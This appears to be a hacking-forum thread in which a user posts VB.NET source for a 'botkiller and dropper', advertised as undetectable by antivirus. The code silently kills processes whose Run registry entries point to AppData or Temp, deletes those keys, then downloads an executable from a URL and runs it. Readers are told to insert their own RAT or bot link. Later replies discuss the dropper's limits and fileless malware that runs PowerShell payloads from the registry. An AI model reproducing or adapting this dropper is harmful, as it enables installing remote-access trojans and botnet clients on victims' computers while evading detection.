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16kb Botkiller + dropper Fud


Here's my source to my Botkiller and dropper bin
Change "google.com/f.exe" to your RAT/BOT link and compile enjoy
here is a scan of a bin nodistribute.com/result/pzB6qE9A0HYd8UkuOLQyJ3oTitjf

Code
Imports System.Text
Imports Microsoft.Win32
Public Class Form1


    Public Sub Form1_Load(sender As Object, e As EventArgs) Handles MyBase.Load
        Me.Hide()
        Try
            bk()
            Dim LeAudisubstring As String
            LeAudisubstring = "C:\Users\Public\Documents\Le.exe"
            If System.IO.File.Exists(LeAudisubstring) = True Then
                System.IO.File.Delete(LeAudisubstring)
            End If

            My.Computer.Network.DownloadFile("google.com/f.exe", "C:\Users\Public\Documents\Le.exe")
            Process.Start("C:\Users\Public\Documents\Le.exe")
        Catch ex As Exception
        End Try
        End

    End Sub
    Public Shared Sub bk()
        Try


            Dim x As Int32 = 0
            Dim r As RegistryKey
            r = Registry.CurrentUser.OpenSubKey("Software\Microsoft\Windows\CurrentVersion\Run", True)
            For Each key As String In r.GetValueNames
                Try
                    Dim location As String = Registry.GetValue(r.ToString, key, "Error")
                    If location.Contains("\AppData\") Then
                        Try
                            For Each p As Process In Process.GetProcesses()
                                Try
                                    If p.MainModule.FileName.Contains(location) Then
                                        p.Kill()
                                        r.DeleteValue(key)
                                        x += 1
                                    End If
                                Catch ex As Exception
                                End Try
                            Next
                        Catch ex As Exception
                        End Try
                    ElseIf location.Contains("\Temp") Then
                        Try
                            For Each p As Process In Process.GetProcesses()
                                Try
                                    If p.MainModule.FileName.Contains(location) Then
                                        p.Kill()
                                        r.DeleteValue(key)
                                        x += 1
                                    End If
                                Catch ex As Exception
                                End Try
                            Next
                        Catch ex As Exception
                        End Try
                    End If
                Catch ex As Exception
                End Try
            Next

        Catch ex As Exception

        End Try
    End Sub

End Class
SO kill and kill all process in the startup of registry that are found in temp or app data?
and remove the key?

Nothing with startup folder?
Nothing for Fileless virus' that use only registry to run?

and this will almost definitley trigger every runtime AV's detections

[Image: 2f4032b5f1170bc8fedd7e367c680327.png]

(Nov 1, 2016 12:04 AM)Alison Wonderland Wrote:  SO kill and kill all process in the startup of registry that are found in temp or app data?
and remove the key?

Nothing with startup folder?
Nothing for Fileless virus' that use only registry to run?

and this will almost definitley trigger every runtime AV's detections

Runtime avs actually don't pick it up and if you want a snippet on removing bots in start up folder i can write it ifyou really need it along with your "fileless" files running off of registry
i never said it was an ace botkiller im sorry i have failed you oh great one
(Nov 1, 2016 12:16 AM)LeTippiie Wrote:  Runtime avs actually don't pick it up and if you want a snippet on removing bots in start up folder i can write it ifyou really need it along with your "fileless" files running off of registry
i never said it was an ace botkiller im sorry i have failed you oh great one

Im actually good. Was just pointing out flaws in case anyone wanted to use this a basis its okay but to know limitations is good also yknow.

Filesless virus, not filesless files.
Yknow ones that use encrypted registry keys that run commands that run PS via commandline to execute payload from memory?
those ones

[Image: 2f4032b5f1170bc8fedd7e367c680327.png]

(Nov 1, 2016 12:19 AM)Alison Wonderland Wrote:  Im actually good. Was just pointing out flaws in case anyone wanted to use this a basis its okay but to know limitations is good also yknow.

Filesless virus, not filesless files.
Yknow ones that use encrypted registry keys that run commands that run PS via commandline to execute payload from memory?
those ones

I understand where your coming from and I admit the limitations of it and your right if you execute from reg it will have no effect but if amyone needs help adding the function to do so I will provide and example if need be not trying to fight just releasing some of my older work for others to gain a bit of understanding so that they can apply to projects of there own


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